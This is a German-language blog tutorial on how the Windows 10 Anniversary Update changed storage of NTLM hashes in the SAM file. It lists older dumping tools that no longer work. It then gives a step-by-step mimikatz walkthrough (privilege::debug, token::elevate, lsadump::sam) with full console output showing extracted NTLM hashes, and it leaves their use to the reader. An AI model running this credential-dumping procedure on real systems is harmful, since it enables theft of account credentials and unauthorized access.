Mit dem Anniversary Update von Windows 10, welches im August 2016 herausgebracht wurde, hatte Microsoft einige Änderungen am Betriebssystem vorgenommen, unter anderem auch wie die Hashes von Benutzerkonten abgelegt werden. Windows Hashes werden bekannterweise in der SAM Datei, verschlüsselt mittels der SYSTEM Datei, abgespeichert. Dies ist übrigens auch der Fall, wenn ihr einen Microsoft Online Account benutzt, denn wie sollt ihr euch ansonsten authentisieren, wenn ihr offline seid?
Die Extraktion des Passwort Hashes aus der SAM Datei ist nicht schwierig. Es existieren diverse freiverfügbare Tools, welche dies innert Sekunden für euch erledigen. Die gespeicherten Hashes werden seit Windows 7 im NTLM Format gespeichert, in vorherigen Versionen wurde noch das veraltete LM Format verwendet. In beiden Fällen sind die Berechnungen zum Knacken des Passworts einfach und können mit der entsprechenden Hardware sehr schnell erledigt werden. Beispielsweise ist eine RTX 2080 Ti in der Lage 78438400000 NTLM Passwort Hashes pro Sekunde zu berechnen (78438.4 MH/s). Jetzt bin ich jedoch vom Thema abgewichen, denn es geht hier nicht darum, wie schnell man die entsprechenden Hashes berechnen kann..
Die Veränderung durch das Update
Microsoft hat nun eine zusätzliche Hürde, wenn auch nur eine sehr Kleine, eingebaut, um die Extraktion zu erschweren:
Die Passwörter werden immer noch in der SAM / SYSTEM Dateikombination abgespeichert, jedoch wird nun eine AES128 Verschlüsselung der MD4 Hashes vorgenommen.
Klingt erstmal nicht nach viel und war sicherlich längst überfällig, jedoch macht dies diverse Tools zur Extraktion der Passwort Hashes aus der SAM & SYSTEM Datei unbrauchbar. Folgende Tools könnt ihr nicht mehr verwenden um lokal gespeicherte Hashes zu extrahieren:
- samdump2 [1]
- pwdump [2]
- bkhive [3]
- chntpw [4]
Solltet ihr nachfolgenden Passwort Hash antreffen, wisst ihr, dass es sich hierbei um ein leeres Passwort handelt, respektive der Benutzer kein Passwort besitzt. Bei Windows 10 kann es aber bedeuten, dass das Anniversary Update installiert ist. Lasst euch also nicht in die Irre führen davon.
# Passwort Hash eines leeren resp. keines Passworts 31d6cfe0d16ae931b73c59d7e0c089c0
Um weiterhin erfolgreich den Passwort Hash zu extrahieren könnt ihr mimikatz[5] verwenden. Jedoch solltet ihr mimikatz auf Live-Systemen mit Vorsicht benutzen, da sämtliche aktuellen Anti-Viren Hersteller das Tool als «Hacking Tool» klassifiziert.
Vorgehen mit mimikatz
Damit die Extraktion gelingt müsst ihr mimikatz als Administrator auf dem System ausführen. Danach könnt ihr mit folgendem Vorgehen weiterhin erfolgreich den Hash extrahieren:
.#####. mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # token::whoami * Process Token : {0;00032867} 1 F 13039181 DESKTOP-CSBMZT1\Administrator S-1-5-21-471061265-2319229277-405062311-1001 (14g,24p) Primary * Thread Token : no token mimikatz # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 536 {0;000003e7} 1 D 40647 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;00032867} 1 F 13039181 DESKTOP-CSBMZT1\Administrator S-1-5-21-471061265-2319229277-405062311-1001 (14g,24p) Primary * Thread Token : {0;000003e7} 1 D 13179554 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) mimikatz # lsadump::sam Domain : DESKTOP-CSBMZT1 SysKey : e7d6686310c5a7ed7h6e678e48fc5ef9 Local SID : S-1-5-21-471061265-2319629277-405062311 SAMKey : 267a464362986b118f0375b434930016 RID : 000001f4 (500) User : Administrator RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount Hash NTLM: 38d442c9f0d1ca495e50eed3e73708b0 RID : 000003ea (1002) User : Benutzer Hash NTLM: f1d288e673caf455978a52448a0fdd88
Bereits besitzt man nun die NTLM Hashes der Benutzer, welche lokal gespeichert sind und kann diese verwenden. Für was genau überlasse ich eurer Fantasie.
Referenzen
[1] https://linux.die.net/man/1/samdump2
[2] https://en.wikipedia.org/wiki/Pwdump
[3] https://samsclass.info/124/proj14/bkhive.htm
[4] https://en.wikipedia.org/wiki/Chntpw
[5] https://github.com/gentilkiwi/mimikatz